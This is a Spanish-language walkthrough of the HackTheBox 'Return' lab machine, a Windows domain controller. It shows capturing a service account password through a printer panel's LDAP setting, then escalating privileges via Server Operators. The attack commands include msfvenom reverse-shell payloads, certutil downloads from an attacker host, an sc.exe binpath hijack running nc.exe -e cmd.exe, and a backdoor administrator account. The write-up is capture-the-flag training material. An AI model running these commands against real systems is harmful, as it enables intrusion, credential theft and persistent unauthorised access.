HTB Return
Resumen
Return es un Domain Controller al que hay que lograr ganar intrusión mediante una forma bastante curiosa. Al revisar la web, se tiene acceso a un panel de configuración de una impresora, donde al interceptar la petición se puede ver que el único valor que viaja es la dirección IP. Al cambiarla por la nuestra, nos llega la contraseña del usuario que corre ese servicio. Luego, ya dentro del equipo, al revisar los grupos a los que pertenece, se puede ver que está dentro del grupo encargado de modificar los servicios del equipo. Por lo que puede intentar modificar uno existente para ganar una shell reversa como el usuario de máximos privilegios dentro del sistema. Fue una máquina divertida y entretenida, además, como en casi todas las máquinas de HTB, siempre se aprende algo nuevo.
Reconocimiento
Para empezar, se realiza un ping a la máquina para ver si se tiene conexión con ella:
1
2
3
4
5
6
7
ping 10.10.11.108 -c 1
PING 10.10.11.108 (10.10.11.108) 56(84) bytes of data.
64 bytes from 10.10.11.108: icmp_seq=1 ttl=127 time=202 ms
--- 10.10.11.108 ping statistics ---
1 packets transmitted, 1 received, 0% packet loss, time 0ms
rtt min/avg/max/mdev = 201.985/201.985/201.985/0.000 ms
Escaneo de Puertos
Ahora se puede realizar un escaneo de puertos para ver cuáles se encuentran abiertos con ayuda de nmap:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
nmap -p- --min-rate 2000 10.10.11.108 -Pn -oG ports
Starting Nmap 7.94SVN ( https://nmap.org ) at 2023-12-20 16:30 EST
Nmap scan report for 10.10.11.108
Host is up (0.17s latency).
Not shown: 65510 closed tcp ports (conn-refused)
PORT STATE SERVICE
53/tcp open domain
80/tcp open http
88/tcp open kerberos-sec
135/tcp open msrpc
139/tcp open netbios-ssn
389/tcp open ldap
445/tcp open microsoft-ds
464/tcp open kpasswd5
593/tcp open http-rpc-epmap
636/tcp open ldapssl
3268/tcp open globalcatLDAP
3269/tcp open globalcatLDAPssl
5985/tcp open wsman
47001/tcp open winrm
49664/tcp open unknown
49665/tcp open unknown
49666/tcp open unknown
49668/tcp open unknown
49671/tcp open unknown
49674/tcp open unknown
49675/tcp open unknown
49679/tcp open unknown
49682/tcp open unknown
49697/tcp open unknown
65315/tcp open unknown
Con esta información, se puede revisar qué servicio se encuentra corriendo en cada puerto para tener información más detallada sobre la tecnología que se utiliza.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
nmap -p53,80,88,135,139,389,445,464,593,636,3268,3269,5985,47001,49664,49665,49666,49668,49671,49674,49675,49679,49682,49697,65315 -sVC -Pn -oN versions 10.10.11.108
Starting Nmap 7.94SVN ( https://nmap.org ) at 2023-12-20 16:34 EST
Nmap scan report for 10.10.11.108
Host is up (0.18s latency).
PORT STATE SERVICE VERSION
53/tcp open domain Simple DNS Plus
80/tcp open http Microsoft IIS httpd 10.0
|_http-server-header: Microsoft-IIS/10.0
|_http-title: HTB Printer Admin Panel
| http-methods:
|_ Potentially risky methods: TRACE
88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2023-12-20 22:52:53Z)
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: return.local0., Site: Default-First-Site-Name)
445/tcp open microsoft-ds?
464/tcp open kpasswd5?
593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
636/tcp open tcpwrapped
3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: return.local0., Site: Default-First-Site-Name)
3269/tcp open tcpwrapped
5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-title: Not Found
|_http-server-header: Microsoft-HTTPAPI/2.0
47001/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
49664/tcp open msrpc Microsoft Windows RPC
49665/tcp open msrpc Microsoft Windows RPC
49666/tcp open msrpc Microsoft Windows RPC
49668/tcp open msrpc Microsoft Windows RPC
49671/tcp open msrpc Microsoft Windows RPC
49674/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
49675/tcp open msrpc Microsoft Windows RPC
49679/tcp open msrpc Microsoft Windows RPC
49682/tcp open msrpc Microsoft Windows RPC
49697/tcp open msrpc Microsoft Windows RPC
65315/tcp open msrpc Microsoft Windows RPC
Service Info: Host: PRINTER; OS: Windows; CPE: cpe:/o:microsoft:windows
Host script results:
|_clock-skew: 1h18m34s
| smb2-time:
| date: 2023-12-20T22:53:55
|_ start_date: N/A
| smb2-security-mode:
| 3:1:1:
|_ Message signing enabled and required
Por los puertos y los servicios que se encuentran corriendo dentro del servidor, se puede concluir que es un controlador de dominio; esto es gracias a Kerberos, el servidor LDAP, el servidor DNS, entre muchos otros.
Enumeración
Web
Al revisar la web, se puede ver que es un sitio web relacionado con el funcionamiento de una impresora.
Al revisar las tecnologías que se están utilizando, son las siguientes:
1
2
3
whatweb http://10.10.11.108/
http://10.10.11.108/ [200 OK] Country[RESERVED][ZZ], HTML5, HTTPServer[Microsoft-IIS/10.0], IP[10.10.11.108], Microsoft-IIS[10.0], PHP[7.4.13], Script, Title[HTB Printer Admin Panel], X-Powered-By[PHP/7.4.13]
También existe una pestaña llamada ‘Settings’ en la que se encuentra bastante información importante:
- Un usuario
- Una posible “Contraseña”
- Un puerto
- Un subdominio
Pero estos valores pueden ser cambiados, por lo que se van a interceptar en una petición para intentar manipularlos con ayuda de Burp Suite:
Explotación
Se observa que el único valor que está viajando en la petición es la dirección IP, por lo que se puede intentar cambiarla para que apunte a nuestro equipo y ver qué sucede. Sin embargo, la petición tiene que llegar a un puerto, por lo que se puede pensar que será al puerto que se veía reflejado en la configuración, es decir, el 389. Ahora, con esto en mente, sería necesario ponerse a la escucha con nc en ese puerto y cambiar la IP a la de nuestro equipo atacante.
1
2
nc -lvp 389
listening on [any] 389 ...
Al revisar la conexión por nc, se puede ver lo siguiente:
1
2
3
4
5
6
nc -lvp 389
listening on [any] 389 ...
10.10.11.108: inverse host lookup failed: Unknown host
connect to [10.10.14.17] from (UNKNOWN) [10.10.11.108] 53030
0*`%return\svc-printer
1edFg43012!!
De esta respuesta, se recibe un mensaje con el dominio , el usuario y en la línea siguiente se puede ver algo que parece ser una contraseña del usuario.
Por lo que ahora se puede probar con cme para verificar si las credenciales son válidas dentro del equipo:
1
2
3
crackmapexec smb 10.10.11.108 -u 'svc-printer' -p '1edFg43012!!'
SMB 10.10.11.108 445 PRINTER [*] Windows 10.0 Build 17763 x64 (name:PRINTER) (domain:return.local) (signing:True) (SMBv1:False)
SMB 10.10.11.108 445 PRINTER [+] return.local\svc-printer:1edFg43012!!
Ahora se puede probar si se tiene acceso por medio de WinRM, por lo que se ejecuta el siguiente comando:
1
2
3
4
crackmapexec winrm 10.10.11.108 -u 'svc-printer' -p '1edFg43012!!'
SMB 10.10.11.108 5985 PRINTER [*] Windows 10.0 Build 17763 (name:PRINTER) (domain:return.local)
HTTP 10.10.11.108 5985 PRINTER [*] http://10.10.11.108:5985/wsman
WINRM 10.10.11.108 5985 PRINTER [+] return.local\svc-printer:1edFg43012!! (Pwn3d!)
Por lo que se puede realizar la conexión por medio de Evil-WinRM:
1
2
3
4
5
evil-winrm -i 10.10.11.108 -u svc-printer -p '1edFg43012!!'
Evil-WinRM shell v3.5
*Evil-WinRM* PS C:\Users\svc-printer\Documents>
Escalada de Privilegios
Ahora que se encuentra dentro del equipo, al revisar la información del usuario se puede ver que pertenece a un grupo especial llamado Server Operators. Por lo tanto, se puede investigar un poco más sobre él. Esto se puede confirmar con los siguientes comandos:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
net user svc-printer
User name svc-printer
Full Name SVCPrinter
Comment Service Account for Printer
User's comment
Country/region code 000 (System Default)
Account active Yes
Account expires Never
Password last set 5/26/2021 12:15:13 AM
Password expires Never
Password changeable 5/27/2021 12:15:13 AM
Password required Yes
User may change password Yes
Workstations allowed All
Logon script
User profile
Home directory
Last logon 5/26/2021 12:39:29 AM
Logon hours allowed All
Local Group Memberships *Print Operators *Remote Management Use
*Server Operators
Global Group memberships *Domain Users
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
whoami /groups
GROUP INFORMATION
-----------------
Group Name Type SID Attributes
========================================== ================ ============ ==================================================
Everyone Well-known group S-1-1-0 Mandatory group, Enabled by default, Enabled group
BUILTIN\Print Operators Alias S-1-5-32-550 Mandatory group, Enabled by default, Enabled group
BUILTIN\Server Operators Alias S-1-5-32-549 Mandatory group, Enabled by default, Enabled group
BUILTIN\Remote Management Users Alias S-1-5-32-580 Mandatory group, Enabled by default, Enabled group
BUILTIN\Users Alias S-1-5-32-545 Mandatory group, Enabled by default, Enabled group
BUILTIN\Pre-Windows 2000 Compatible Access Alias S-1-5-32-554 Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\NETWORK Well-known group S-1-5-2 Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\Authenticated Users Well-known group S-1-5-11 Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\This Organization Well-known group S-1-5-15 Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\NTLM Authentication Well-known group S-1-5-64-10 Mandatory group, Enabled by default, Enabled group
Mandatory Label\High Mandatory Level Label S-1-16-12288
Metodo 1
Se puede crear un ejecutable malicioso que envíe una shell reversa al equipo del atacante. Para eso, es necesario utilizar MSFvenom:
1
2
3
4
5
6
msfvenom -p windows/x64/shell/reverse_tcp lhost=10.10.14.17 lport=8888 -f exe > shell.exe
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
[-] No arch selected, selecting arch: x64 from the payload
No encoder specified, outputting raw payload
Payload size: 510 bytes
Final size of exe file: 7168 bytes
Se puede transferir el archivo con certutil.exe , pero para eso es necesario montar un servidor para que el archivo sea consumido:
1
python3 -m http.server 8081
1
2
3
certutil.exe -urlcache -f http://10.10.14.17:8081/shell.exe binariobonito.exe
**** Online ****
CertUtil: -URLCache command completed successfully.
Ahora es necesario listar los servicios y elegir alguno que cuente con privilegios elevados.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
services
Path Privileges Service
---- ---------- -------
C:\Windows\ADWS\Microsoft.ActiveDirectory.WebServices.exe True ADWS
\??\C:\ProgramData\Microsoft\Windows Defender\Definition Updates\{5533AFC7-64B3-4F6E-B453-E35320B35716}\MpKslDrv.sys True MpKslceeb2796
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\SMSvcHost.exe True NetTcpPortSharing
C:\Windows\SysWow64\perfhost.exe True PerfHost
"C:\Program Files\Windows Defender Advanced Threat Protection\MsSense.exe" False Sense
C:\Windows\servicing\TrustedInstaller.exe False TrustedInstaller
"C:\Program Files\VMware\VMware Tools\VMware VGAuth\VGAuthService.exe" True VGAuthService
"C:\Program Files\VMware\VMware Tools\vmtoolsd.exe" True VMTools
"C:\ProgramData\Microsoft\Windows Defender\platform\4.18.2104.14-0\NisSrv.exe" True WdNisSvc
"C:\ProgramData\Microsoft\Windows Defender\platform\4.18.2104.14-0\MsMpEng.exe" True WinDefend
"C:\Program Files\Windows Media Player\wmpnetwk.exe" False WMPNetworkSvc
*Evil-WinRM* PS C:\Users\svc-printer\Documents>
En este caso, se va a elegir el servicio VMTools y se va a cargar el ejecutable que se subió con ayuda de sc.exe:
1
2
3
sc.exe config VMTools binpath="C:\Users\svc-printer\Documents\binariobonito.exe"
[SC] ChangeServiceConfig SUCCESS
Ahora es necesario detener el servicio.
1
2
3
4
5
6
7
8
sc.exe stop VMTools
SERVICE_NAME: VMTools
TYPE : 10 WIN32_OWN_PROCESS
STATE : 1 STOPPED
WIN32_EXIT_CODE : 0 (0x0)
SERVICE_EXIT_CODE : 0 (0x0)
CHECKPOINT : 0x0
WAIT_HINT : 0x0
Ponerse a la escucha en el puerto que fue escogido para el binario.
1
nc -lvp 8888
Ponerse a la escucha en el puerto que fue escogido para el binario.
1
sc.exe start VMTools
Y con eso se gana una shell reversa como NT AUTHORITY
Metodo 2
Para este método, el procedimiento es el mismo, pero se puede subir un binario de nc compatible con el sistema y ponerlo a correr en el servicio.
1
2
3
certutil.exe -urlcache -f http://10.10.14.17:8081/nc.exe nc.exe
**** Online ****
CertUtil: -URLCache command completed successfully.
Se debe configurar el servicio para que ejecute el binario con el comando necesario.
1
sc.exe config VMTools binpath="C:\Users\svc-printer\Documents\nc.exe -e cmd.exe 10.10.14.17 1234"
Detener el servicio , ponerse a la escucha y ejecutarlo respectivamente:
1
sc.exe stop VMTools
1
nc -lvp 1234
1
sc.exe start VMTools
Y con eso se gana una shell de maximos privilegios dentro del sistema.
1
2
3
4
5
6
7
8
nc -lvp 1234
listening on [any] 1234 ...
10.10.11.108: inverse host lookup failed: Unknown host
connect to [10.10.14.17] from (UNKNOWN) [10.10.11.108] 57535
Microsoft Windows [Version 10.0.17763.107]
(c) 2018 Microsoft Corporation. All rights reserved.
C:\Windows\system32>
Obtener Shell Estable
Ahora, el problema es que la shell que se obtiene se cae después de un tiempo. Por lo que es necesario buscar una solución y, de paso, asegurar permanencia dentro del equipo. La solución para esto es crear un usuario y otorgarle altos privilegios antes de que se caiga, para así interactuar con el equipo de la forma más cómoda.
Para crear el usuario se puede hacer ayuda del comando net:
1
net user madlies Password123! /add
Y para darle altos privilegios se puede usar el comando
1
net localgroup Administrators madlies /add
Por lo que con esto ya se puede conectar de forma remota en el equipo con ayuda de Evil-WinRM y buscar la flag.
1
2
3
4
5
6
7
evil-winrm -i 10.10.11.108 -u madlies -p 'Password123!'
Evil-WinRM shell v3.5
*Evil-WinRM* PS C:\Users\madlies\Documents> whoami
return\madlies
*Evil-WinRM* PS C:\Users\madlies\Documents>